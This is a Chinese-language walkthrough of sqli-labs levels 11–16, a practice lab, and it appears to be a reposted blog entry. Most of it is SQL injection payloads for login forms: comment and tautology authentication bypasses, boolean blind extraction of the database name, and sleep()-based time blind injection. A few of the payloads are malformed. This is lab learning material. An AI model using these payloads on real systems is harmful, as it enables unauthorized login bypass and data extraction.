sqli-labs(less-11-16)

POST登入

首先试试

uname=admin'# & passwd=1

登入成功

如果不知道用户名 ,注释符被过滤,可以从password入手

一般第一个登陆字段(一般是用户名)就用注释,第二个登陆字段(一般就密码)用闭合和注释都是可以的

uname=test & passwd=1'or 1='1

接下来利用盲注猜解数据库(布尔盲注)

uname=test & passwd=1'or length(database())>0 or 1='2  //#被过滤情况下
uname=test & passwd=1'or length(database())>0 # 

剩下的步骤和get一样

一个个猜解数据库的名字

uname=test & passwd=1'or ascii(substr((select database()),1,1))>0 or 1='2

less-12

uname=test & passwd=1'or 1='1

先猜解是被单引号包围还是双引号还是括号什么的

uname=test & passwd=1" #

爆语法错误了,语句没写好QAQ

uname=test' # & passwd=1

uname=test" # & passwd=1

之前搞错了 ,不存在test这个用户所以当然不了

uname=admin‘ # & passwd=1

uname=admin" # & passwd=1

uname=admin‘) # & passwd=1

uname=admin") # & passwd=1    //成功登入

uname=test  & passwd=1 or 1='1

uname=test  & passwd=1 or 1="1

uname=test  & passwd=1 or 1=('1

uname=test  & passwd=1 or 1=("1   //按理说这个应该可以

都登不进去

原来是passwd那个没有用")闭合

uname=test & passwd=1") or 1=("1 

爆数据库

uname=test & passwd=1") or length(database())>0 or 2=("1 

接下来的步骤和之前一样

less-13

uname=admin' # & passwd=1

uname=admin") # & passwd=1

')

"

都报错了

看源码是‘)闭合的鸭 怎么就不行呢

原来如此 ,登入了也不返回结果

注意一下 ,成功了会返回图片

less-13

uname=admin" # & passwd=1

less-14

尝试sleep()时间盲注 

uname=admin"  and sleep(10)  # & passwd=1

uname=admin" or sleep(10) # & passwd=1

延迟了,发现可以sleep盲注,当用or 的时候是一直在转 不知道为什么

uname=admin"  # & passwd=1

 less-15

'

uname=admin") # & passwd=1

')

")

都报错了,不过输入单引号没有返回结果  // 窗口有点小 往下滑就了

uname=admin'  & passwd=1 

试一下永真

uname=a  & passwd=1' or 1='1

less-16

uname=admin") #&passwd=a'

uname=admin") #&passwd=a'or length(database())>0 1=("1

利用sleep()

uname=a&passwd=a") or if(length((select database()))=8,1,sleep(5)) #

原文地址:https://www.cnblogs.com/xyhacker/p/10048647.html